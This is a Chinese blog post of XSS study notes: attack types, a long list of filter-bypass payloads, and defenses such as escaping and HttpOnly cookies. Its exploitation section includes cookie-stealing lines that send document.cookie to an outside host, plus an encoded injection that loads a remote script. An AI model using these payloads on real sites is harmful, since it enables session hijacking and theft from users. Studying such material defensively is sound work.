关于xss攻击,网上相关的介绍很多,一搜索也是一大堆,这里我就对自己感兴趣的一些内容做个总结。

xss简单介绍

成因:xss是将恶意代码(多是JavaScript)插入html代码中。

分类:

1、 反射型

2、 存储型

3、 DOM型

1、 XSS的危害是这么?

攻击者构造可执行JavaScript的攻击链接,发送给受害者,多用于获取cookie,因为cookie可以使你伪装成受害者来登录。还可以定向到别的网站,下载病毒链接等等。

2、 DOM型xss、反射型xss和存储型xss的区别?

反射型xss是向链接传入参数时发生的,需要诱骗受害者点击。而存储型是存在服务器中的,比如发表的文章,供访问者浏览的信息等等,危害更大。

DOM型xss属于反射型xss的一种,只是不通过服务器,DOM跨站是纯页面脚本的输出,只有规范使用JAVASCRIPT,才可以防御。

因为DOM型比较难理解,所以找了一些链接有兴趣,可以在深入了解一下。

关于DOM型XSS漏洞的学习笔记

DOM-based XSS 与存储性 XSS、反射型 XSS 有什么区别?

基于 DOM 的第三类跨站脚本

3、 如何对网站进行测试?

如果弹窗成功,说明存在xss漏洞,下面是几种常见的跨站攻击方法。

<script>alert(document.cookie)</script>
闭合或注释之前的语句
"/><script>alert(document.cookie)</script><!--
--><script>alert(document.cookie)</script><!--

其他写法

"onclick="alert(document.cookie)
</dd><script>alert(/xss/)</script>
<script>alert(/liscker/);</script>
"><img%20src=1%20onerror=alert(1)>
<marquee/onstart="confirm`1`">
< a href=javascript:alert(1)>

反射型XSS Poc:

alert()函数过滤:

<script>alert('xss')</script>
<script>confirm('xss')</script>
<script>prompt('xss')</script>

<script>标签过滤:

<a href="onclick=alert('xss')"> click</a>
123"><a/href=//www.baidu.com/>XssTest</a>
<img src=# onerror=alert('xss')></img>
<iframe onload=alert('xss')>

base64加密

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='>

setTimeout

<svg/onload=setTimeout('ale'+'rt(1)',0)>

过滤双引号

<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>

chrome

<img src ?itworksonchrome?\/onerror = alert(1)>

data形式

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg></object>
<embed src=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg></embed>
<script src=data:%26comma;alert(1)></script>

ontoggle

<details open ontoggle="alert('已是黄昏独自愁,一枝红杏出墙来')">

frame

<frame src="javascript:alert(1)">
<frame src="javascript:%20%0aalert%20%0d %09(1)">
<iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;" />
2134'></textarea><script>alert(/xss/)</script><textarea>

url加密绕圆括号

<svg/onload=alert(1)>
<svg onload='JavascRipT:alert%281%29'>
<svg/onload ="location='jav'+'ascript'+':%2'+'0aler'+'t%20%2'+'81%'+'29'">

 XSS漏洞利用方式:

<script>window.location="http://www.baidu.com"</script>   重定向钓鱼
<script>window.location="http://1.1.1.1/cookie.php?cookie="+document.cookie;</script> 接受客户端cookie
<script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie; </script>
http://login.xxx.com/sso/m/mobile-login.do?next_page=http://m.xxx.com&f=coursek12xss",}});setTimeout(atob('ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vZHQzMDEuY29tLzAuanMnOw=='),0);({validate: {//

XSS变种

XSS变种的类型在于JavaScript能执行的位置有多少。

  1)confirm() 方法用于显示一个带有指定消息和 OK 及取消按钮的对话框。

"/><ScRiPt>confirm(9174)</ScRiPt>

  2)跳转链接

<a/href=//www.baidu.com/>XssTest</a>
<a href="javascript:alert(1)">x</a>

  3)img类型的xss

<img src='#' onerror='alert("XSS")' >
<img src='' onerror=alert(/poc/)>

  4)对于过滤<>

%27;alert%28/aa/%29;a=%27

  5)邮箱系统,存储型

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

  6)inframe框架执行JS

<iframe src="javascript:alert(1)"></iframe>

4、 如何防xss?

1) 对特殊字符进行转义

2) 直接将标签过滤掉

3) 对cookie设置httponly

之前一直不了解到底是干什么用的,我理解是限定对cookie的访问只能走http协议,而不能通过JavaScript获取到cookie。

关于如何设置httponly?

百度的(全) http://jingyan.baidu.com/article/5553fa82a8248c65a3393442.html

java的  http://zhenghaoju700.blog.163.com/blog/static/13585951820138267195385/

4) 对用户的输入内容做限制

可以用正则对出入格式进行匹配。

5) 对数据进行在编码处理

参考:

反射型XSS攻击

http://blog.163.com/biaoxiaoqun@126/blog/static/376791602014718103941487/

https://www.cnblogs.com/seeker01/p/7921186.html

关于xxs的一些利用案例

背景:后台对以下字符进行转义:<、>、’、”。

可以通过 u003cu003e来代替<>

实际案例:

后台输出JSON格式数据时,一般都会在前面添加转义符进行转义。

理想情况:u003cimg src=1 onerror=alert(/xss/)u003e

实际情况:

document.getElementById("test").innerHTML =" \u003cimg src=1 onerror=alert(/xss/)\u003e";

因为昵称被转义,u003c同样被转义了。

针对于此情况,可以利用半字节

[0xc0]u003cimg src=1 onerror=alert(/xss/) [0xc0]u003e

参考:新办法绕过xss过滤-让xss来的更猛烈些吧

==================================================================

余弦的主题---学习和记录大佬总结的经验。

出处:http://weibo.com/evilcos?is_hot=1#1497420192019

#姿势# XSS’OR -> CODZ -> VECTOR CODZ -> XSSMisc

新增XSS攻击向量:

<img/src==”x onerror=alert()//”>

<div/style==”x onclick=alert()//”>XSS’OR

<div style=behavior:url(“onclick=alert()//”>XSS’OR

<div style=x:x(“ onclick=alert()//”>XSS’OR

还有发散空间,用于绕过XSS过滤机制

里面的:

<script>`</div><div>`-alert(123)</script>

<script>`</div><div>`+alert(123)</script>

<script>`</div><div>`/alert(123)</script>

<script>`</div><div>`%alert(123)</script>

<script>`</div><div>`==alert(123)</script>

<script>`</div><div>`/=alert(123)</script> # Only Edge

<script>`</div><div>`*=alert(123)</script> # Only Edge

关键key是:

  1. 反单引号
  2. 加减乘除等运算符的利用

作用:

  拿来bypass找XSS

这个XSSMisc,列的基本都是找XSS漏洞常用的VECTOR(向量),这些VECTOR都是拿来做过滤的bypass尝试的

 <title><img src=”</title><img src=x onerror=alert(1)//”>

本质:<titile>这个标签的“解析高优先级”,很霸道的必须找到闭合</title>,找到了才肯罢休。利用这个特性,拆散src后面的双引号闭合,实现img onerror的执行

关于xss攻击学习的总结的更多相关文章

  1. 如何发起、防御和测试XSS攻击,我们用DVWA来学习(下)

    上一篇我们了解了XSS攻击的原理,并且利用DVWA尝试了简单的XSS攻击,这一篇我们来实现更复杂的攻击,然后探讨防御机制和测试理念. 前面我们通过脚本注入让网页弹出了用户cookie信息,可以光弹窗是 ...

  2. 如何发起、防御和测试XSS攻击,我们用DVWA来学习(上)

    XSS 全称Cross Site Scripting 即‘跨站脚本攻击’. 从其中文释义我们能直观的知道,这是一种对网站的攻击方式. 其原理在于,使用一切可能手段,将可执行脚本(scripting)植 ...

  3. 前端Hack之XSS攻击个人学习笔记

    简单概述 **        此篇系本人两周来学习XSS的一份个人总结,实质上应该是一份笔记,方便自己日后重新回来复习,文中涉及到的文章我都会在末尾尽可能地添加上,此次总结是我在学习过程中所写,如有任 ...

  4. XSS攻击-原理学习

    本文优先发布于简书https://www.jianshu.com/p/04e0f8971890 1.百度百科XSS,跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样 ...

  5. 安全学习笔记-web安全之XSS攻击

    web安全之XSS攻击 XSS 即跨站脚本攻击,是 OWASP TOP10 之一.它的全称为 Cross-site scripting,因为 CSS 这个简称已经被占用表示为前端三剑客之一的CSS,所 ...

  6. 360[警告]跨站脚本攻击漏洞/java web利用Filter防止XSS/Spring MVC防止XSS攻击

    就以这张图片作为开篇和问题引入吧 <options>问题解决办法请参考上一篇 如何获取360站长邀请码,360网站安全站长邀请码 首先360能够提供一个这样平台去检测还是不错的.但是当体检 ...

  7. 开启CSP网页安全政策防止XSS攻击

     一.简介 CSP是网页安全政策(Content Security Policy)的缩写.是一种由开发者定义的安全性政策申明,通过CSP所约束的责任指定可信的内容来源,(内容可以是指脚本.图片.sty ...

  8. XSS漏洞学习笔记

    XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...

  9. 前端安全系列(一):如何防止XSS攻击?

    原文:https://my.oschina.net/meituantech/blog/2218539 前端安全 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全 ...

随机推荐

  1. mongoDB-权限控制

    启动服务D:\MongoDB\Server\3.6\bin>mongod.exe --dbpath D:\MongoDB\Server\3.6\data 扩展 无认证启动:mongod --po ...

  2. 使用Microsoft Toolkit 2.5 激活windows server 2012 R2与office

    本人亲测可以激活windows server 2012 R2版 关于此软件介绍如下: 这是一款可以用来管理或者配置 Microsoft Office 和 Windows 的许可证(密钥)的工具,也用来 ...

  3. springboot1.5升级2.0后遇到的问题

    https://blog.csdn.net/zhiquanzhou/article/details/80566630

  4. (贪心部分背包问题)Saving HDU HDU2111

    Saving HDU Time Limit: 3000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others)Total ...

  5. oracle出现无法响应新的请求,报ora-12516错误

    oracle的会话数超出了限制,一般都是由于多次connect建立多个连接会话引起.   解决办法: (oracle登录后台,1)sqlplus /nolog  2)conn / as sysdba) ...

  6. 【 强大的Mac/iOS开发工具】AppCode for Mac 2017.3

    [简介] 最新的 AppCode 2017.3 版本,完全支持最新的Swift 4.0语言,这是一款JetBrain出品的强大的OS X 和 iOS开发工具,AppCode可以用于开发 Mac OS ...

  7. python各模块组合实例

    # encoding: utf-8 import requests import time from Crypto.Cipher import AES import base64 import has ...

  8. ADC触摸屏

    目录 ADC触摸屏 硬件原理 等效电路 测量逻辑 程序设计(一)获得ADC 寄存器初始化 中断初始化 ADC模式(中断.测量) 中断函数 程序设计(二)获得坐标 生产者与消费者 ADC获取 程序优化 ...

  9. 为SNP增加种族人群频率

    一.Ensemble:http://www.ensembl.info/2015/06/18/1000-genomes-phase-3-frequencies-genotypes-and-ld-data ...

  10. 网络运维必回的模拟器-GNS软件下载和安装

    网络运维必回的模拟器-GNS软件下载和安装 作者:尹正杰  版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.GNS简介 1>.什么是GNS GNS3是一款具有图形化界面可以运行在多平台( ...